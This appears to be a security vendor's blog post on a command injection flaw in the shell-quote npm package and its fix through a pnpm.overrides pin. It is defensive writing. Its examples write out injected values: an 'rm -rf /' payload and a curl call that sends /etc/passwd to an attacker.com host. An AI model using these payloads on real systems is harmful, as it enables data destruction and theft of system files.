Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the `shell-quote` npm package, affecting version 1.8.3 and earlier. The root cause is that the library fails to escape certain line terminator characters, allowing attacker-controlled strings to break out of a quoted shell argument and inject arbitrary commands. The fix is to upgrade `shell-quote` to 1.8.4 or later; in monorepos using pnpm, this is done by adding a `pnpm.overrides` entry (`"shell-quote": ">=1.8.4"`) in `package.json` so every transitive dependent receives the patched version without needing individual package bumps.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to >=1.8.4 and pin via pnpm.overrides to enforce the patch across all transitive dependents
riskArbitrary shell command execution by an attacker who controls input passed to shell-quote
languageJavaScript / Node.js
root causeshell-quote 1.8.3 does not escape line terminator characters, allowing argument boundaries to be broken
vulnerabilityCommand Injection via unescaped line terminators

How Command Injection Happens in Node.js shell-quote and How to Fix It

Summary

CVE-2026-9277 is a critical command injection vulnerability in the shell-quote npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins shell-quote to >=1.8.4 via a pnpm.overrides entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through shell-quote and has not yet upgraded is at risk of full remote code execution.


Introduction

The pnpm-lock.yaml file in this repository locked shell-quote at version 1.8.3—a version that Trivy's CVE scanner flagged as critically vulnerable. While lockfiles are often overlooked during security reviews, they are the authoritative record of exactly which package versions are running in production. In this case, that record revealed that every workspace package depending on shell-quote was exposed to CVE-2026-9277: arbitrary code execution via command injection caused by unescaped line terminator characters.

The problem is subtle. shell-quote is widely used to safely construct shell command strings from arrays of arguments—it is the library you reach for precisely because you want to avoid shell injection. But version 1.8.3 contained a flaw where certain Unicode line terminators (characters such as \u2028 LINE SEPARATOR and \u2029 PARAGRAPH SEPARATOR) were not properly escaped. An attacker who can influence any string passed through shell-quote's quoting logic can embed one of these characters to terminate the current argument context and inject a new, unquoted command segment.


The Vulnerability Explained

What shell-quote Does

shell-quote exposes two primary functions: quote(args) and parse(cmd). The quote function takes an array of strings and returns a single shell-safe string where each argument is properly escaped or quoted. The intended use looks like this:

const { quote } = require('shell-quote');
const userInput = req.body.filename; // attacker-controlled
const cmd = `cat ${quote([userInput])}`;
// Expected: cat 'somefile.txt'
// Dangerous if quote() fails to escape special chars

The assumption baked into every caller is: whatever I pass to quote(), the output will be safe to interpolate into a shell string. CVE-2026-9277 breaks that assumption.

The Vulnerable Code Pattern

In shell-quote@1.8.3, the quoting logic did not account for Unicode line terminator characters. Consider an attacker supplying this string as userInput:

foo\u2028; rm -rf /

Because \u2028 (LINE SEPARATOR) was not in the set of characters that triggered escaping, shell-quote would emit something equivalent to:

cat 'foo
; rm -rf /'

Depending on the shell and how the resulting string is interpreted, the line break can cause the shell to treat ; rm -rf / as a separate command. The quoted boundary is effectively broken by a character the library did not know to neutralize.

The lockfile entry that exposed this:

# pnpm-lock.yaml (before fix)
shell-quote@1.8.3:
  resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQ...}
  engines: {node: '>=8'}

Attack Scenario

  1. A developer uses shell-quote to build a shell command from a user-supplied filename in an API endpoint.
  2. An attacker sends a POST request with a filename field containing report\u2028; curl https://attacker.com/exfil?d=$(cat /etc/passwd).
  3. shell-quote@1.8.3 quotes the string but does not escape \u2028.
  4. The shell interprets the output as two commands: the intended cat 'report' and the injected curl exfiltration command.
  5. The attacker receives the contents of /etc/passwd—or worse, establishes a reverse shell.

Because this is a production dependency (not test-only), any server-side code path that invokes shell-quote with user-influenced data is a potential entry point.


The Fix

What Changed

The fix involved three coordinated changes across package.json, pnpm-lock.yaml, and CONTRIBUTING.md.

1. package.json — Adding the Override

// Before
"pnpm": {
  "overrides": {
    "react-dom": "19.2.3",
    "fast-xml-parser": ">=5.7.0",
    "postcss": ">=8.5.10",
    "serialize-javascript": ">=7.0.5"
  }
}

// After
"pnpm": {
  "overrides": {
    "react-dom": "19.2.3",
    "fast-xml-parser": ">=5.7.0",
    "postcss": ">=8.5.10",
    "serialize-javascript": ">=7.0.5",
    "shell-quote": ">=1.8.4"   // ← new line
  }
}

The pnpm.overrides field forces pnpm to resolve shell-quote to >=1.8.4 for every package in the dependency tree that requests it—regardless of what version each individual package specifies in its own package.json. This is the correct approach for transitive CVEs where you do not directly import the vulnerable package at the root level.

2. pnpm-lock.yaml — Lockfile Updated

# Before
overrides:
  fast-xml-parser: '>=5.7.0'
  postcss: '>=8.5.10'
  serialize-javascript: '>=7.0.5'

# After
overrides:
  fast-xml-parser: '>=5.7.0'
  postcss: '>=8.5.10'
  serialize-javascript: '>=7.0.5'
  shell-quote: '>=1.8.4'          # ← new line

And the resolved package entry changes from:

shell-quote@1.8.3:
  resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQ...}
  engines: {node: '>=8'}

to the 1.8.4 entry with its updated integrity hash. This ensures that pnpm install in CI and on developer machines will never again pull down 1.8.3.

3. CONTRIBUTING.md — Process Documentation

The PR also added a new "Security updates" section to CONTRIBUTING.md explaining exactly how to handle transitive dependency CVEs going forward:

### Security updates

For transitive dependency CVEs, pin the patched version in root `package.json`
under `pnpm.overrides`. Do not add a root-level `dependencies` entry for
packages the repo does not import directly.

Run `pnpm install`, commit the lockfile, and confirm the vulnerable version
is gone. Use `>=` to match existing override entries. No changeset needed.

This documentation prevents future contributors from accidentally adding a spurious root-level dependencies entry for a package they do not directly import—a common mistake that pollutes the dependency graph without actually fixing the transitive resolution.

Why >=1.8.4 Instead of =1.8.4

Using >=1.8.4 rather than pinning to an exact version means the override will automatically accept future patch releases of shell-quote (e.g., 1.8.5, 1.8.6) without requiring another manual update. This balances security (no version below 1.8.4 is ever resolved) with maintainability (future non-breaking patches are not blocked).


Key Takeaways

  • shell-quote@1.8.3 is not safe for user-influenced input: The unescaped line terminator bug means the library's core promise—safe shell quoting—was broken for a specific class of Unicode characters.
  • Lockfiles are security artifacts: The vulnerability was pinned in pnpm-lock.yaml at 1.8.3. Regularly scanning your lockfile with tools like Trivy is as important as scanning your source code.
  • pnpm.overrides is the right tool for transitive CVEs: Adding shell-quote to pnpm.overrides rather than dependencies correctly forces the patched version without polluting the direct-dependency graph.
  • Document your security fix process: The addition of a "Security updates" section to CONTRIBUTING.md means future contributors know exactly how to handle the next transitive CVE—reducing the chance of an incorrect fix.
  • Argument arrays beat shell strings: If the code paths consuming shell-quote can be refactored to use execFile with an argument array, the entire class of shell injection risk is eliminated regardless of what version of shell-quote is installed.

How Orbis AppSec Detected This

  • Source: User-influenced strings passed to shell-quote's quote() function, entering via any API endpoint or CLI argument that constructs shell commands.
  • Sink: Any call site invoking shell-quote@1.8.3's quoting logic where the resulting string is passed to a shell interpreter (e.g., child_process.exec, child_process.spawn with shell: true).
  • Missing control: shell-quote@1.8.3 lacked escaping logic for Unicode line terminator characters (\u2028, \u2029), allowing those characters to break out of quoted argument boundaries.
  • CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: The shell-quote dependency was pinned to >=1.8.4 via pnpm.overrides in package.json, and the lockfile was regenerated to resolve the patched version across all transitive consumers.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a sharp reminder that even security-focused libraries can harbor subtle flaws. shell-quote exists specifically to make shell command construction safe—yet a single class of unescaped characters was enough to render it exploitable. The fix is straightforward: upgrade to 1.8.4 and use pnpm.overrides to enforce that version across your entire dependency tree. More broadly, treat your lockfile as a security document, scan it continuously, and wherever possible prefer argument-array APIs that never invoke a shell at all.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5772

Related Articles

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.